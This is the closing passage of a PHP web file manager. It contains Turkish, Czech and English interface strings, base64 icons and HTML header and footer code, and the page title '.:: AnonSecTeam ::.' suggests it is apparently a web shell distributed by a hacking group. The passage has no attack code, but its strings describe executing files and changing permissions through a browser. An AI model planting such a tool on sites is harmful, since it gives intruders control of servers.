2073'not_uploaded' => '"[%1]" y�klenemedi.',
2074'already_exists' => '"[%1]" kullanilmakta.',
2075'created' => '"[%1]" olusturuldu.',
2076'not_created' => '"[%1]" olusturulamadi.',
2077'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2078'deleted' => "Bu dosyalar silindi:\n[%1]",
2079'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2080'rename_file' => 'Adi degisen dosya:',
2081'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2082'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2083'move_files' => 'Tasinan dosyalar:',
2084'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2085'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2086'copy_files' => 'Kopyalanan dosyalar:',
2087'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2088'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2089'not_edited' => '"[%1]" d�zenlenemiyor.',
2090'executed' => "\"[%1]\" basariyla �alistirildi:\n{%2}",
2091'not_executed' => "\"[%1]\" �alistirilamadi:\n{%2}",
2092'saved' => '"[%1]" kaydedildi.',
2093'not_saved' => '"[%1]" kaydedilemedi.',
2094'symlinked' => '"[%2]" den "[%1]" e k�sayol olu�turuldu.',
2095'not_symlinked' => '"[%2]"den "[%1]" e k�sayol olu�turulamad�.',
2096'permission_for' => 'Izinler "[%1]":',
2097'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2098'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2099'not_readable' => '"[%1]" okunamiyor.'
2100 );
2101
2102 case 'cs':
2103
2104 $date_format = 'd.m.y H:i:s';
2105 $word_charset = 'UTF-8';
2106
2107 return array(
2108'directory' => 'Adresá�',
2109'file' => 'Soubor',
2110'filename' => 'Jméno souboru',
2111
2112'size' => 'Velikost',
2113'permission' => 'Práva',
2114'owner' => 'VlastnÃÂk',
2115'group' => 'Skupina',
2116'other' => 'OstatnÃÂ',
2117'functions' => 'Funkce',
2118
2119'read' => '�tenÃÂ',
2120'write' => 'Zápis',
2121'execute' => 'SpouÅ¡t�nÃÂ',
2122
2123'create_symlink' => 'Vytvo�it symbolický odkaz',
2124'delete' => 'Smazat',
2125'rename' => 'P�ejmenovat',
2126'move' => 'P�esunout',
2127'copy' => 'ZkopÃÂrovat',
2128'edit' => 'OtevÅ�ÃÂt',
2129'download' => 'Stáhnout',
2130'upload' => 'Nahraj na server',
2131'create' => 'Vytvo�it',
2132'change' => 'Zm�nit',
2133'save' => 'Uložit',
2134'set' => 'Nastavit',
2135'reset' => 'zp�t',
2136'relative' => 'Relatif',
2137
2138'yes' => 'Ano',
2139'no' => 'Ne',
2140'back' => 'Zp�t',
2141'destination' => 'Destination',
2142'symlink' => 'Symbolický odkaz',
2143'no_output' => 'Prázdný výstup',
2144
2145'user' => 'Uživatel',
2146'password' => 'Heslo',
2147'add' => 'P�idat',
2148'add_basic_auth' => 'p�idej základnàautentizaci',
2149
2150'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
2151'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
2152'already_exists' => 'Soubor "[%1]" už exituje.',
2153'created' => 'Soubor "[%1]" byl vytvo�en.',
2154'not_created' => 'Soubor "[%1]" nemohl být vytvo�en.',
2155'really_delete' => 'Vymazat soubor?',
2156'deleted' => "Byly vymazány tyto soubory:\n[%1]",
2157'not_deleted' => "Tyto soubory nemohly být vytvo�eny:\n[%1]",
2158'rename_file' => 'P�ejmenuj soubory:',
2159'renamed' => 'Soubor "[%1]" byl p�ejmenován na "[%2]".',
2160'not_renamed' => 'Soubor "[%1]" nemohl být p�ejmenován na "[%2]".',
2161'move_files' => 'P�emÃÂstit tyto soubory:',
2162'moved' => "Tyto soubory byly p�emÃÂst�ny do \"[%2]\":\n[%1]",
2163'not_moved' => "Tyto soubory nemohly být p�emÃÂst�ny do \"[%2]\":\n[%1]",
2164'copy_files' => 'ZkopÃÂrovat tyto soubory:',
2165'copied' => "Tyto soubory byly zkopÃÂrovány do \"[%2]\":\n[%1]",
2166'not_copied' => "Tyto soubory nemohly být zkopÃÂrovány do \"[%2]\":\n[%1]",
2167'not_edited' => 'Soubor "[%1]" nemohl být otev�en.',
2168'executed' => "SOubor \"[%1]\" byl spušt�n :\n{%2}",
2169'not_executed' => "Soubor \"[%1]\" nemohl být spušt�n:\n{%2}",
2170'saved' => 'Soubor "[%1]" byl uložen.',
2171'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
2172'symlinked' => 'Byl vyvo�en symbolický odkaz "[%2]" na soubor "[%1]".',
2173'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvo�en.',
2174'permission_for' => 'Práva k "[%1]":',
2175'permission_set' => 'Práva k "[%1]" byla zm�n�na na [%2].',
2176'permission_not_set' => 'Práva k "[%1]" nemohla být zm�n�na na [%2].',
2177'not_readable' => 'Soubor "[%1]" nenàmožno p�eÄ�ÃÂst.'
2178 );
2179
2180 case 'en':
2181 default:
2182
2183 $date_format = 'n/j/y H:i:s';
2184 $word_charset = 'ISO-8859-1';
2185
2186 return array(
2187'directory' => 'Directory',
2188'file' => 'File',
2189'filename' => 'Filename',
2190
2191'size' => 'Size',
2192'permission' => 'Permission',
2193'owner' => 'Owner',
2194'group' => 'Group',
2195'other' => 'Others',
2196'functions' => 'Functions',
2197
2198'read' => 'read',
2199'write' => 'write',
2200'execute' => 'execute',
2201
2202'create_symlink' => 'create symlink',
2203'delete' => 'delete',
2204'rename' => 'rename',
2205'move' => 'move',
2206'copy' => 'copy',
2207'edit' => 'edit',
2208'download' => 'download',
2209'upload' => 'upload',
2210'create' => 'create',
2211'change' => 'change',
2212'save' => 'save',
2213'set' => 'set',
2214'reset' => 'reset',
2215'relative' => 'Relative path to target',
2216
2217'yes' => 'Yes',
2218'no' => 'No',
2219'back' => 'back',
2220'destination' => 'Destination',
2221'symlink' => 'Symlink',
2222'no_output' => 'no output',
2223
2224'user' => 'User',
2225'password' => 'Password',
2226'add' => 'add',
2227'add_basic_auth' => 'add basic-authentification',
2228
2229'uploaded' => '"[%1]" has been uploaded.',
2230'not_uploaded' => '"[%1]" could not be uploaded.',
2231'already_exists' => '"[%1]" already exists.',
2232'created' => '"[%1]" has been created.',
2233'not_created' => '"[%1]" could not be created.',
2234'really_delete' => 'Delete these files?',
2235'deleted' => "These files have been deleted:\n[%1]",
2236'not_deleted' => "These files could not be deleted:\n[%1]",
2237'rename_file' => 'Rename file:',
2238'renamed' => '"[%1]" has been renamed to "[%2]".',
2239'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2240'move_files' => 'Move these files:',
2241'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2242'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2243'copy_files' => 'Copy these files:',
2244'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2245'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2246'not_edited' => '"[%1]" can not be edited.',
2247'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
2248'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
2249'saved' => '"[%1]" has been saved.',
2250'not_saved' => '"[%1]" could not be saved.',
2251'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2252'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2253'permission_for' => 'Permission of "[%1]":',
2254'permission_set' => 'Permission of "[%1]" was set to [%2].',
2255'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2256'not_readable' => '"[%1]" can not be read.'
2257 );
2258
2259 }
2260
2261}
2262
2263function getimage ($image) {
2264 switch ($image) {
2265 case 'file':
2266 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2267 case 'folder':
2268 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2269 case 'hidden_file':
2270 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2271 case 'link':
2272 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2273 case 'smiley':
2274 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2275 case 'arrow':
2276 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2277 }
2278}
2279
2280function html_header () {
2281 global $site_charset;
2282
2283 echo <<<END
2284<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2285 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2286<html xmlns="http://www.w3.org/1999/xhtml">
2287<head>
2288
2289<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2290
2291<title>.:: AnonSecTeam ::.</title>
2292
2293<style type="text/css">
2294body { font: small sans-serif; text-align: center }
2295img { width: 17px; height: 13px }
2296a, a:visited { text-decoration: none; color: navy }
2297hr { border-style: none; height: 1px; background-color: silver; color: silver }
2298#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2299#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2300.listing th, .listing td { padding: 1px 3pt 0 3pt }
2301.listing th { border: 1px solid silver }
2302.listing td { border: 1px solid #ddd; background: white }
2303.listing .checkbox { text-align: center }
2304.listing .filename { text-align: left }
2305.listing .size { text-align: right }
2306.listing .permission_header { text-align: left }
2307.listing .permission { font-family: monospace }
2308.listing .owner { text-align: left }
2309.listing .group { text-align: left }
2310.listing .functions { text-align: left }
2311.listing_footer td { background: #eee; border: 1px solid silver }
2312#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2313#directory { background: #eee; border: 1px solid silver }
2314#upload { padding-top: 1em }
2315#create { padding-bottom: 1em }
2316.small, .small option { font-size: x-small }
2317textarea { border: none; background: white }
2318table.dialog { margin-left: auto; margin-right: auto }
2319td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2320#permission { margin-left: auto; margin-right: auto }
2321#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2322td.permission_action { text-align: right }
2323#symlink { background: #eee; border: 1px solid silver }
2324#symlink td { text-align: left; padding: 3pt }
2325#red_button { width: 120px; color: #400 }
2326#green_button { width: 120px; color: #040 }
2327#error td { background: maroon; color: white; border: 1px solid silver }
2328#notice td { background: green; color: white; border: 1px solid silver }
2329#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2330code { font-size: 12pt }
2331td { white-space: nowrap }
2332</style>
2333
2334<script type="text/javascript">
2335<!--
2336function activate (name) {
2337 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2338 document.forms[0].elements['focus'].value = name;
2339 }
2340}
2341//-->
2342</script>
2343
2344</head>
2345<body>
2346
2347
2348END;
2349
2350}
2351
2352function html_footer () {
2353
2354 echo <<<END
2355</body>
2356</html>
2357END;
2358
2359}
2360
2361function notice ($phrase) {
2362 global $cols;
2363
2364 $args = func_get_args();
2365 array_shift($args);
2366
2367 return '<tr id="notice">
2368 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2369</tr>
2370';
2371
2372}
2373
2374function error ($phrase) {
2375 global $cols;
2376
2377 $args = func_get_args();
2378 array_shift($args);
2379
2380 return '<tr id="error">
2381 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2382</tr>
2383';
2384
2385}
2386
2387?>
2388